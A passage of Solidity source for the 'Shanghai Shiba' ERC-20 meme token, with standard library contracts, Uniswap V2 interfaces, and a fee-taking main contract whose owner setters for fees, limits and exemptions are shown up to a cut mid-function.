// shanghaishiba.net
// t.me/Shanghai_Shiba
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;


// ERC Standard Objects 
// --------------------------------------------------------------
/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
} 

// Safe Math Helpers 
// --------------------------------------------------------------
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: cannot send to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// Uniswap Router 
// --------------------------------------------------------------
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function allPairsLength() external view returns (uint256);
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
    function allPairs(uint256) external view returns (address pair);
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint256);
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint256);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function kLast() external view returns (uint256);
    function mint(address to) external returns (uint256 liquidity);
    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);
    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);
    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);
    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


// Main Contract Logic 
// --------------------------------------------------------------
contract Shanghai is Context, IERC20, Ownable {
    // Imports
    using SafeMath for uint256;
    using Address for address;

    // Configurables -----------------------------
    
    // Context
    string private _name = "Shanghai Shiba";
    string private _symbol = unicode"狗";
    uint8 private _decimals = 18;

    // Supply 
    uint256 private _totalSupply = 1 * 1e9 * 1e18;    
    uint256 private minimumTokensBeforeSwap = _totalSupply * 25 / 100000;    

    // Restrictions
    uint256 public _maxTxAmount = (_totalSupply * 2) / 100;      
    uint256 public _walletMax = (_totalSupply * 2) / 100; 
    bool public checkWalletLimit = true;
    
    // wallets
    address payable public liquidityWallet = payable(0xbD8F46Cf719DDB4Dbf8D8484691C33eB162650cf);
    address payable public operationsWallet =  payable(0xbD8F46Cf719DDB4Dbf8D8484691C33eB162650cf);
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    // fees    
    uint256 public liquidityFeeBuy = 0;
    uint256 public operationsFeeBuy = 7;
    uint256 public totalFeesBuy;
    uint256 public maxTotalFeeBuy = 10;

    // fees
    uint256 public liquidityFeeSell = 0;
    uint256 public operationsFeeSell = 7;
    uint256 public totalFeesSell;
    uint256 public maxTotalFeeSell = 10;

    // distribution ratio
    uint256 public _liquiditySharePercentage = 0;
    uint256 public _operationsSharePercentage = 100;
    uint256 public _totalDistributionShares;

    // max amounts    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) isTxLimitExempt;

    // Router Information    
    mapping (address => bool) public isMarketPair;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair; 
    
    // toggle swap back (fees)
    bool inSwapAndLiquify;
    uint256 public tokensForLiquidity;
    uint256 public tokensForOperations;    

    // Launch Settings
    bool public tradingOpen = false;    

    // events    
    event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
    event OperationsWalletUpdated(address indexed newOperationsWallet, address indexed oldOperationsWallet); 
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); 
    event SwapTokensForETH(uint256 amountIn, address[] path);
    
    // toogle to stop swap if already underway
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        // load total fees 
        totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
        totalFeesSell = operationsFeeSell + liquidityFeeSell; 

        // load total distribution 
        _totalDistributionShares = _liquiditySharePercentage + _operationsSharePercentage;
        
        // create router ------------------------------
        IUniswapV2Router02 _uniswapV2Router;
        if (block.chainid == 1) {
            _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        } else if (block.chainid == 5) {
            _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        } else revert();

         // Create a uniswap pair for this new token         
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router; 
        isMarketPair[address(uniswapPair)] = true;

        // set allowances        
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        
        // exclude from paying fees or having max transaction amount
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[address(0xdead)] = true; 
        isExcludedFromFee[liquidityWallet] = true; 
        isExcludedFromFee[operationsWallet] = true; 
        
        // exclude contracts from max wallet size
        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[liquidityWallet] = true; 
        isWalletLimitExempt[operationsWallet] = true; 
        
        // exclude contracts from max wallet size
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        
        _balances[_msgSender()] = _totalSupply;   
        emit Transfer(address(0), _msgSender(), _totalSupply);  
    }

    receive() external payable {

  	}
  	
  	// @dev Public read functions start -------------------------------------
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // custom allowance methods
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    
    // get minimum tokens before swap
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    // approve spending methods
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }
    
    function getBlock()public view returns (uint256) {
        return block.number;
    }

  	// @dev Owner functions start -------------------------------------
    
    // toogle market pair status
    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    // set excluded xx limit 
    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    // update max tx amount
    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }

    // set excluded tax 
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }
    
    // update fees
    function updateFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
        operationsFeeBuy = _operationsFee;
        liquidityFeeBuy = _liquidityFee;
        totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
        require(totalFeesBuy <= maxTotalFeeBuy, "Must keep fees at maxTotalFeeBuy or less");
    }

    function updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
        operationsFeeSell = _operationsFee;
        liquidityFeeSell = _liquidityFee;
        totalFeesSell = operationsFeeSell + liquidityFeeSell;
        require(totalFeesSell <= maxTotalFeeSell, "Must keep fees at maxTotalFeeSell or less");
    }
    
    // set distribution settings
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newOperationsShare) external onlyOwner() {
        _liquiditySharePercentage = newLiquidityShare;
        _operationsSharePercentage = newOperationsShare; 
        _totalDistributionShares = _liquiditySharePercentage + _operationsSharePercentage;
        require(_totalDistributionShares == 100, "Distribution needs to total to 100");
    }

    // remove wallet limit
    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }
    
    // set excluded wallet limit 
    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }
    
    // update wallet limit
    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }
    
    // change the minimum amount of tokens to sell from fees
    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    // sets the wallet that receives LP tokens to lock
    function updateLiquidityWallet(address newAddress) external onlyOwner {
        require(newAddress != address(0), "Cannot set to address 0");
        isExcludedFromFee[newAddress] = true;
        isExcludedFromFee[liquidityWallet] = false;
        emit LiquidityWalletUpdated(newAddress, liquidityWallet);
        liquidityWallet =  payable(newAddress);
